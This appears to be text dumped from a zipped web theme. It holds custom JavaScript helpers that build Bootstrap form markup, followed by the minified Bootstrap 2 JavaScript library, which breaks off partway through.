    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
                    //ht = "<label class=\""+ radios[i][0]+" inline\">";
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(radios[i][1])
                        ht += " name=\""+radios[i][1]+"\"";
                    //if(radios[i][2])
                        ht +=" class=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht +=" id=\""+radios[i][3]+"\"";
                    if(radios[i][4])
                        ht += " value=\""+radios[i][4] + "\"";
                    if(checked == radios[i][4])
                        ht += " checked=\"checked\"";
                        ht +=" title=\""+radios[i][5]+"\"";
                    if(!radios[i][6]){
                        ht +=" data-toggle=\"tooltip\"";
                    }
                    else{
                        ht +="data-toggle=\""+radios[i][6]+"\"";
                        if(radios[i][7])
                            ht +="data-target=\""+radios[i][7]+"\"";
                        if(radios[i][8])
                            ht +="data-parent=\""+radios[i][8]+"\"";
                    }
                    ht +=">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                    //ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

//getBt2Inputgroup([['text', 'name1','class1','id1','label1','placeholder1', 'value'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt2Inputgroup(inputs, horizontal){
    var ht ='';
    if(horizontal)
        ht +="<div class=\"form-horizontal\">";
    for (var i = 0 ; i < inputs.length; i++) {
        ht +="<div class=\"control-group\">";
        if(inputs[i][4]){
            ht +="<label class=\"control-label\"";
            if(inputs[i][3])
                ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+inputs[i][4] + "</label>";
        } 
            ht +="<div class=\"controls\">";
                ht +="<input type=\""+inputs[i][0]+"\"";
                if(inputs[i][1])
                    ht += "name=\""+inputs[i][1]+"\"";
                if(inputs[i][2])
                    ht +=" class=\""+inputs[i][2]+"\"";
                if(inputs[i][3])
                    ht +="id=\""+inputs[i][3]+"\"";
                if(inputs[i][5])
                    ht +="placeholder=\""+inputs[i][5]+"\"";
                if(inputs[i][6])
                    ht += "value=\""+inputs[i][6] + "\"";
                else if(inputs[i][7])
                    ht += "value=\""+inputs[i][7] + "\"";
                ht +=">";
            ht +="</div>";
        ht +="</div>";
    }  
    if(horizontal)
        ht +="</div>";
    return ht;
}
//getBt2Inputprepend([['text', 'name1','class1','id1','add-on','placeholder1', 'value'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt2Inputprepend(label,inputs, horizontal){
    var ht ='';
    if(horizontal)
        ht +="<div class=\"form-horizontal\">";
    
        ht +="<div class=\"control-group\">";
        if(label){
            ht +="<label class=\"control-label\"";
            //if(label)
                //ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+label + "</label>";
        } 
            ht +="<div class=\"controls\">";
            for (var i = 0 ; i < inputs.length; i++) {
                ht +="<div class=\"input-prepend\">";
                    ht +="<span class=\"add-on\">";
                    if(inputs[i][4])
                        ht +="<i class=\""+inputs[i][4]+"\"></i>";
                    ht +="</span>";
                    ht +="<input type=\""+inputs[i][0]+"\"";
                    if(inputs[i][1])
                        ht += "name=\""+inputs[i][1]+"\"";
                    if(inputs[i][2])
                        ht +=" class=\""+inputs[i][2]+"\"";
                    if(inputs[i][3])
                        ht +="id=\""+inputs[i][3]+"\"";
                    if(inputs[i][5])
                        ht +="placeholder=\""+inputs[i][5]+"\"";
                    if(inputs[i][6])
                        ht += "value=\""+inputs[i][6] + "\"";
                    ht +=">";
                ht +="</div>";
            }  
            ht +="</div>";
        ht +="</div>";
   
    if(horizontal)
        ht +="</div>";
    return ht;
}



// Functions for get Bootstrap 3 input field
//getBt3Inputgroup([['text', 'name1','class1','id1','label1','placeholder1'],['text', 'name2','class2','id2','label2','placeholder2']], true);
function getBt3Inputgroup(inputs, inlineOrhorizontal){
    var ht ='';
    if(inlineOrhorizontal)
        ht +="<div class=\""+inlineOrhorizontal+"\">";
    for (var i = 0 ; i < inputs.length; i++) {
        ht +="<div class=\"form-group\">";
        if(inputs[i][4]){
            ht +="<label ";
            if(inputs[i][3])
                ht +="for=\""+inputs[i][3]+"\"";
            ht += ">"+inputs[i][4] + "</label>";
        } 
                ht +="<input type=\""+inputs[i][0]+"\"";
                if(inputs[i][1])
                    ht += "name=\""+inputs[i][1]+"\"";
                if(inputs[i][2])
                    ht +=" class=\""+inputs[i][2]+" form-control\"";
                if(inputs[i][3])
                    ht +="id=\""+inputs[i][3]+"\"";
                if(inputs[i][5])
                    ht +="placeholder=\""+inputs[i][5]+"\"";
                if(inputs[i][6])
                    ht += "value=\""+inputs[i][6] + "\"";
                ht +=">";
        ht +="</div>";
    }  
    if(inlineOrhorizontal)
        ht +="</div>";
    return ht;
}

//function getBt3Radiogroup('Row fluid', 'checked' ,[['radio','name','class','id','value','label']], inline)
function getBt3Radiogroup(label, checked, radios, inline){
    var ht ='';
    
    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
                    //ht = "<label class=\""+ radios[i][0]+" inline\">";
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(radios[i][1])
                        ht += " name=\""+radios[i][1]+"\"";
                    //if(radios[i][2])
                        ht +=" class=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht +=" id=\""+radios[i][3]+"\"";
                    if(radios[i][4])
                        ht += " value=\""+radios[i][4] + "\"";
                    if(checked == radios[i][4])
                        ht += " checked=\"checked\"";
                        ht +=" title=\""+radios[i][5]+"\"";
                    ht +=" data-toggle=\"tooltip\">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                    //ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

function addslashes(string) {
    return string.replace(/\\/g, '\\\\').
        replace(/\u0008/g, '\\b').
        replace(/\t/g, '\\t').
        replace(/\n/g, '\\n').
        replace(/\f/g, '\\f').
        replace(/\r/g, '\\r').
        replace(/'/g, '\\\'').
        replace(/"/g, '\\"');
}
function removeslashes(string) {
    return string./*replace(/\\/g, '\\\\').
        replace(/\u0008/g, '\\b').
        replace(/\t/g, '\\t').
        replace(/\n/g, '\\n').
        replace(/\f/g, '\\f').
        replace(/\r/g, '\\r').*/
        replace(/'/g, '\\\'').
        replace(/"/g, '\\"');
}PK!Ut{�TpTp$bluetheme/assets/js/bootstrap.min.jsnu&1i�/**
* Bootstrap.js by @fat & @mdo
* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js
* Copyright 2013 Twitter, Inc.
* http://www.apache.org/licenses/LICENSE-2.0.txt
*/
!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.prototype={constructor:b,toggle:function(){return this[this.isShown?"hide":"show"]()},show:function(){var b=this,c=a.Event("show");this.$element.trigger(c);if(this.isShown||c.isDefaultPrevented())return;this.isShown=!0,this.escape(),this.backdrop(function(){var c=a.support.transition&&b.$element.hasClass("fade");b.$element.parent().length||b.$element.appendTo(document.body),b.$element.show(),c&&b.$element[0].offsetWidth,b.$element.addClass("in").attr("aria-hidden",!1),b.enforceFocus(),c?b.$element.one(a.support.transition.end,function(){b.$element.focus().trigger("shown")}):b.$element.focus().trigger("shown")})},hide:function(b){b&&b.preventDefault();var c=this;b=a.Event("hide"),this.$element.trigger(b);if(!this.isShown||b.isDefaultPrevented())return;this.isShown=!1,this.escape(),a(document).off("focusin.modal"),this.$element.removeClass("in").attr("aria-hidden",!0),a.support.transition&&this.$element.hasClass("fade")?this.hideWithTransition():this.hideModal()},enforceFocus:function(){var b=this;a(document).on("focusin.modal",function(a){b.$element[0]!==a.target&&!b.$element.has(a.target).length&&b.$element.focus()})},escape:function(){var a=this;this.isShown&&this.options.keyboard?this.$element.on("keyup.dismiss.modal",function(b){b.which==27&&a.hide()}):this.isShown||this.$element.off("keyup.dismiss.modal")},hideWithTransition:function(){var b=this,c=setTimeout(function(){b.$element.off(a.support.transition.end),b.hideModal()},500);this.$element.one(a.support.transition.end,function(){clearTimeout(c),b.hideModal()})},hideModal:function(){var a=this;this.$element.hide(),this.backdrop(function(){a.removeBackdrop(),a.$element.trigger("hidden")})},removeBackdrop:function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},backdrop:function(b){var c=this,d=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var e=a.support.transition&&d;this.$backdrop=a('<div class="modal-backdrop '+d+'" />').appendTo(document.body),this.$backdrop.click(this.options.backdrop=="static"?a.proxy(this.$element[0].focus,this.$element[0]):a.proxy(this.hide,this)),e&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in");if(!b)return;e?this.$backdrop.one(a.support.transition.end,b):b()}else!this.isShown&&this.$backdrop?(this.$backdrop.removeClass("in"),a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one(a.support.transition.end,b):b()):b&&b()}};var c=a.fn.modal;a.fn.modal=function(c){return this.each(function(){var d=a(this),e=d.data("modal"),f=a.extend({},a.fn.modal.defaults,d.data(),typeof c=="object"&&c);e||d.data("modal",e=new b(this,f)),typeof c=="string"?e[c]():f.show&&e.show()})},a.fn.modal.defaults={backdrop:!0,keyboard:!0,show:!0},a.fn.modal.Constructor=b,a.fn.modal.noConflict=function(){return a.fn.modal=c,this},a(document).on("click.modal.data-api",'[data-toggle="modal"]',function(b){var c=a(this),d=c.attr("href"),e=a(c.attr("data-target")||d&&d.replace(/.*(?=#[^\s]+$)/,"")),f=e.data("modal")?"toggle":a.extend({remote:!/#/.test(d)&&d},e.data(),c.data());b.preventDefault(),e.modal(f).one("hide",function(){c.focus()})})}(window.jQuery),!function(a){function d(){a(".dropdown-backdrop").remove(),a(b).each(function(){e(a(this)).removeClass("open")})}function e(b){var c=b.attr("data-target"),d;c||(c=b.attr("href"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,"")),d=c&&a(c);if(!d||!d.length)d=b.parent();return d}var b="[data-toggle=dropdown]",c=function(b){var c=a(b).on("click.dropdown.data-api",this.toggle);a("html").on("click.dropdown.data-api",function(){c.parent().removeClass("open")})};c.prototype={constructor:c,toggle:function(b){var c=a(this),f,g;if(c.is(".disabled, :disabled"))return;return f=e(c),g=f.hasClass("open"),d(),g||("ontouchstart"in document.documentElement&&a('<div class="dropdown-backdrop"/>').insertBefore(a(this)).on("click",d),f.toggleClass("open")),c.focus(),!1},keydown:function(c){var d,f,g,h,i,j;if(!/(38|40|27)/.test(c.keyCode))return;d=a(this),c.preventDefault(),c.stopPropagation();if(d.is(".disabled, :disabled"))return;h=e(d),i=h.hasClass("open");if(!i||i&&c.keyCode==27)return c.which==27&&h.find(b).focus(),d.click();f=a("[role=menu] li:not(.divider):visible a",h);if(!f.length)return;j=f.index(f.filter(":focus")),c.keyCode==38&&j>0&&j--,c.keyCode==40&&j<f.length-1&&j++,~j||(j=0),f.eq(j).focus()}};var f=a.fn.dropdown;a.fn.dropdown=function(b){return this.each(function(){var d=a(this),e=d.data("dropdown");e||d.data("dropdown",e=new c(this)),typeof b=="string"&&e[b].call(d)})},a.fn.dropdown.Constructor=c,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=f,this},a(document).on("click.dropdown.data-api",d).on("click.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.dropdown.data-api",b,c.prototype.toggle).on("keydown.dropdown.data-api",b+", [role=menu]",c.prototype.keydown)}(window.jQuery),!function(a){function b(b,c){var d=a.proxy(this.process,this),e=a(b).is("body")?a(window):a(b),f;this.options=a.extend({},a.fn.scrollspy.defaults,c),this.$scrollElement=e.on("scroll.scroll-spy.data-api",d),this.selector=(this.options.target||(f=a(b).attr("href"))&&f.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.$body=a("body"),this.refresh(),this.process()}b.prototype={constructor:b,refresh:function(){var b=this,c;this.offsets=a([]),this.targets=a([]),c=this.$body.find(this.selector).map(function(){var c=a(this),d=c.data("target")||c.attr("href"),e=/^#\w/.test(d)&&a(d);return e&&e.length&&[[e.position().top+(!a.isWindow(b.$scrollElement.get(0))&&b.$scrollElement.scrollTop()),d]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},process:function(){var a=this.$scrollElement.scrollTop()+this.options.offset,b=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,c=b-this.$scrollElement.height(),d=this.offsets,e=this.targets,f=this.activeTarget,g;if(a>=c)return f!=(g=e.last()[0])&&this.activate(g);for(g=d.length;g--;)f!=e[g]&&a>=d[g]&&(!d[g+1]||a<=d[g+1])&&this.activate(e[g])},activate:function(b){var c,d;this.activeTarget=b,a(this.selector).parent(".active").removeClass("active"),d=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',c=a(d).parent("li").addClass("active"),c.parent(".dropdown-menu").length&&(c=c.closest("li.dropdown").addClass("active")),c.trigger("activate")}};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data("scrollspy"),f=typeof c=="object"&&c;e||d.data("scrollspy",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.defaults={offset:10},a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on("load",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(window.jQuery),!function(a){var b=function(b){this.element=a(b)};b.prototype={constructor:b,show:function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.attr("data-target"),e,f,g;d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,""));if(b.parent("li").hasClass("active"))return;e=c.find(".active:last a")[0],g=a.Event("show",{relatedTarget:e}),b.trigger(g);if(g.isDefaultPrevented())return;f=a(d),this.activate(b.parent("li"),c),this.activate(f,f.parent(),function(){b.trigger({type:"shown",relatedTarget:e})})},activate:function(b,c,d){function g(){e.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),b.addClass("active"),f?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active"),d&&d()}var e=c.find("> .active"),f=d&&a.support.transition&&e.hasClass("fade");f?e.one(a.support.transition.end,g):g(),e.removeClass("in")}};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data("tab");e||d.data("tab",e=new b(this)),typeof c=="string"&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on("click.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(b){b.preventDefault(),a(this).tab("show")})}(window.jQuery),!function(a){var b=function(a,b){this.init("tooltip",a,b)};b.prototype={constructor:b,init:function(b,c,d){var e,f,g,h,i;this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.enabled=!0,g=this.options.trigger.split(" ");for(i=g.length;i--;)h=g[i],h=="click"?this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this)):h!="manual"&&(e=h=="hover"?"mouseenter":"focus",f=h=="hover"?"mouseleave":"blur",this.$element.on(e+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(f+"."+this.type,this.options.selector,a.proxy(this.leave,this)));this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},getOptions:function(b){return b=a.extend({},a.fn[this.type].defaults,this.$element.data(),b),b.delay&&typeof b.delay=="number"&&(b.delay={show:b.delay,hide:b.delay}),b},enter:function(b){var c=a.fn[this.type].defaults,d={},e;this._options&&a.each(this._options,function(a,b){c[a]!=b&&(d[a]=b)},this),e=a(b.currentTarget)[this.type](d).data(this.type);if(!e.options.delay||!e.options.delay.show)return e.show();clearTimeout(this.timeout),e.hoverState="in",this.timeout=setTimeout(function(){e.hoverState=="in"&&e.show()},e.options.delay.show)},leave:function(b){var c=a(b.currentTarget)[this.type](this._options).data(this.type);this.timeout&&clearTimeout(this.timeout);if(!c.options.delay||!c.options.delay.hide)return c.hide();c.hoverState="out",this.timeout=setTimeout(function(){c.hoverState=="out"&&c.hide()},c.options.delay.hide)},show:function(){var b,c,d,e,f,g,h=a.Event("show");if(this.hasContent()&&this.enabled){this.$element.trigger(h);if(h.isDefaultPrevented())return;b=this.tip(),this.setContent(),this.options.animation&&b.addClass("fade"),f=typeof this.options.placement=="function"?this.options.placement.call(this,b[0],this.$element[0]):this.options.placement,b.detach().css({top:0,left:0,display:"block"}),this.options.container?b.appendTo(this.options.container):b.insertAfter(this.$element),c=this.getPosition(),d=b[0].offsetWidth,e=b[0].offsetHeight;switch(f){case"bottom":g={top:c.top+c.height,left:c.left+c.width/2-d/2};break;case"top":g={top:c.top-e,left:c.left+c.width/2-d/2};break;case"left":g={top:c.top+c.height/2-e/2,left:c.left-d};break;case"right":g={top:c.top+c.height/2-e/2,left:c.left+c.width}}this.applyPlacement(g,f),this.$element.trigger("shown")}},applyPlacement:function(a,b){var c=this.tip(),d=c[0].offsetWidth,e=c[0].offsetHeight,f,g,h,i;c.offset(a).addClass(b).addClass("in"),f=c[0].offsetWidth,g=c[0].offsetHeight,b=="top"&&g!=e&&(a.top=a.top+e-g,i=!0),b=="bottom"||b=="top"?(h=0,a.left<0&&(h=a.left*-2,a.left=0,c.offset(a),f=c[0].offsetWidth,g=c[0].offsetHeight),this.replaceArrow(h-d+f,f,"left")):this.replaceArrow(g-e,g,"top"),i&&c.offset(a)},replaceArrow:function(a,b,c){this.arrow().css(c,a?50*(1-a/b)+"%":"")},setContent:function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},hide:function(){function e(){var b=setTimeout(function(){c.off(a.support.transition.end).detach()},500);c.one(a.support.transition.end,function(){clearTimeout(b),c.detach()})}var b=this,c=this.tip(),d=a.Event("hide");this.$element.trigger(d);if(d.isDefaultPrevented())return;return c.removeClass("in"),a.support.transition&&this.$tip.hasClass("fade")?e():c.detach(),this.$element.trigger("hidden"),this},fixTitle:function(){var a=this.$element;(a.attr("title")||typeof a.attr("data-original-title")!="string")&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},hasContent:function(){return this.getTitle()},getPosition:function(){var b=this.$element[0];return a.extend({},typeof b.getBoundingClientRect=="function"?b.getBoundingClientRect():{width:b.offsetWidth,height:b.offsetHeight},this.$element.offset())},getTitle:function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||(typeof c.title=="function"?c.title.call(b[0]):c.title),a},tip:function(){return this.$tip=this.$tip||a(this.options.template)},arrow:function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},validate:function(){this.$element[0].parentNode||(this.hide(),this.$element=null,this.options=null)},enable:function(){this.enabled=!0},disable:function(){this.enabled=!1},toggleEnabled:function(){this.enabled=!this.enabled},toggle:function(b){var c=b?a(b.currentTarget)[this.type](this._options).data(this.type):this;c.tip().hasClass("in")?c.hide():c.show()},destroy:function(){this.hide().$element.off("."+this.type).removeData(this.type)}};var c=a.fn.tooltip;a.fn.tooltip=function(c){return this.each(function(){var d=a(this),e=d.data("tooltip"),f=typeof c=="object"&&c;e||d.data("tooltip",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.tooltip.Constructor=b,a.fn.tooltip.defaults={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1},a.fn.tooltip.noConflict=function(){return a.fn.tooltip=c,this}}(window.jQuery),!function(a){var b=function(a,b){this.init("popover",a,b)};b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype,{constructor:b,setContent:function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content")[this.options.html?"html":"text"](c),a.removeClass("fade top bottom left right in")},hasContent:function(){return this.getTitle()||this.getContent()},getContent:function(){var a,b=this.$element,c=this.options;return a=(typeof c.content=="function"?c.content.call(b[0]):c.content)||b.attr("data-content"),a},tip:function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip},destroy:function(){this.hide().$element.off("."+this.type).removeData(this.type)}});var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data("popover"),f=typeof c=="object"&&c;e||d.data("popover",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.defaults=a.extend({},a.fn.tooltip.defaults,{placement:"right",trigger:"click",content:"",template:'<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(window.jQuery),!function(a){var b=function(b,c){this.options=a.extend({},a.fn.affix.defaults,c),this.$window=a(window).on("scroll.affix.data-api",a.proxy(this.checkPosition,this)).on("click.affix.data-api",a.proxy(function(){setTimeout(a.proxy(this.checkPosition,this),1)},this)),this.$element=a(b),this.checkPosition()};b.prototype.checkPosition=function(){if(!this.$element.is(":visible"))return;var b=a(document).height(),c=this.$window.scrollTop(),d=this.$element.offset(),e=this.options.offset,f=e.bottom,g=e.top,h="affix affix-top affix-bottom",i;typeof e!="object"&&(f=g=e),typeof g=="function"&&(g=e.top()),typeof f=="function"&&(f=e.bottom()),i=this.unpin!=null&&c+this.unpin<=d.top?!1:f!=null&&d.top+this.$element.height()>=b-f?"bottom":g!=null&&c<=g?"top":!1;if(this.affixed===i)return;this.affixed=i,this.unpin=i=="bottom"?d.top-c:null,this.$element.removeClass(h).addClass("affix"+(i?"-"+i:""))};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data("affix"),f=typeof c=="object"&&c;e||d.data("affix",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.defaults={offset:0},a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(window.jQuery),!function(a){var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function f(){e.trigger("closed").remove()}var c=a(this),d=c.attr("data-target"),e;d||(d=c.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),e=a(d),b&&b.preventDefault(),e.length||(e=c.hasClass("alert")?c:c.parent()),e.trigger(b=a.Event("close"));if(b.isDefaultPrevented())return;e.removeClass("in"),a.support.transition&&e.hasClass("fade")?e.on(a.support.transition.end,f):f()};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("alert");e||d.data("alert",e=new c(this)),typeof b=="string"&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.alert.data-api",b,c.prototype.close)}(window.jQuery),!function(a){var b=function(b,c){this.$element=a(b),this.options=a.extend({},a.fn.button.defaults,c)};b.prototype.setState=function(a){var b="disabled",c=this.$element,d=c.data(),e=c.is("input")?"val":"html";a+="Text",d.resetText||c.data("resetText",c[e]()),c[e](d[a]||this.options[a]),setTimeout(function(){a=="loadingText"?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle="buttons-radio"]');a&&a.find(".active").removeClass("active"),this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("button"),f=typeof c=="object"&&c;e||d.data("button",e=new b(this,f)),c=="toggle"?e.toggle():c&&e.setState(c)})},a.fn.button.defaults={loadingText:"loading..."},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle")})}(window.jQuery),!function(a){var b=function(b,c){this.$element=a(b),this.options=a.extend({},a.fn.collapse.defaults,c),this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.prototype={constructor:b,dimension:function(){var a=this.$element.hasClass("width");return a?"width":"height"},show:function(){var b,c,d,e;if(this.transitioning||this.$element.hasClass("in"))return;b=this.dimension(),c=a.camelCase(["scroll",b].join("-")),d=this.$parent&&this.$parent.find("> .accordion-group > .in");if(d&&d.length){e=d.data("collapse");if(e&&e.transitioning)return;d.collapse("hide"),e||d.data("collapse",null)}this.$element[b](0),this.transition("addClass",a.Event("show"),"shown"),a.support.transition&&this.$element[b](this.$element[0][c])},hide:function(){var b;if(this.transitioning||!this.$element.hasClass("in"))return;b=this.dimension(),this.reset(this.$element[b]()),this.transition("removeClass",a.Event("hide"),"hidden"),this.$element[b](0)},reset:function(a){var b=this.dimension();return this.$element.removeClass("collapse")[b](a||"auto")[0].offsetWidth,this.$element[a!==null?"addClass":"removeClass"]("collapse"),this},transition:function(b,c,d){var e=this,f=function(){c.type=="show"&&e.reset(),e.transitioning=0,e.$element.trigger(d)};this.$element.trigger(c);if(c.isDefaultPrevented())return;this.transitioning=1,this.$element[b]("in"),a.support.transition&&this.$element.hasClass("collapse")?this.$element.one(a.support.transition.end,f):f()},toggle:function(){this[this.$element.hasClass("in")?"hide":"show"]()}};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("collapse"),f=a.extend({},a.fn.collapse.defaults,d.data(),typeof c=="object"&&c);e||d.data("collapse",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.collapse.defaults={toggle:!0},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.collapse.data-api","[data-toggle=collapse]",function(b){var c=a(this),d,e=c.attr("data-target")||b.preventDefault()||(d=c.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""),f=a(e).data("collapse")?"toggle":c.data();c[a(e).hasClass("in")?"addClass":"removeClass"]("collapsed"),a(e).collapse(f)})}(window.jQuery),!function(a){var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.options.pause=="hover"&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.prototype={cycle:function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},getActiveIndex:function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},to:function(b){var c=this.getActiveIndex(),d=this;if(b>this.$items.length-1||b<0)return;return this.sliding?this.$element.one("slid",function(){d.to(b)}):c==b?this.pause().cycle():this.slide(b>c?"next":"prev",a(this.$items[b]))},pause:function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),clearInterval(this.interval),this.interval=null,this},next:function(){if(this.sliding)return;return this.slide("next")},prev:function(){if(this.sliding)return;return this.slide("prev")},slide:function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g=b=="next"?"left":"right",h=b=="next"?"first":"last",i=this,j;this.sliding=!0,f&&this.pause(),e=e.length?e:this.$element.find(".item")[h](),j=a.Event("slide",{relatedTarget:e[0],direction:g});if(e.hasClass("active"))return;this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")}));if(a.support.transition&&this.$element.hasClass("slide")){this.$element.trigger(j);if(j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),this.$element.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid")},0)})}else{this.$element.trigger(j);if(j.isDefaultPrevented())return;d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("carousel"),f=a.extend({},a.fn.carousel.defaults,typeof c=="object"&&c),g=typeof c=="string"?c:f.slide;e||d.data("carousel",e=new b(this,f)),typeof c=="number"?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.defaults={interval:5e3,pause:"hover"},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.carousel.data-api","[data-slide], [data-slide-to]",function(b){var 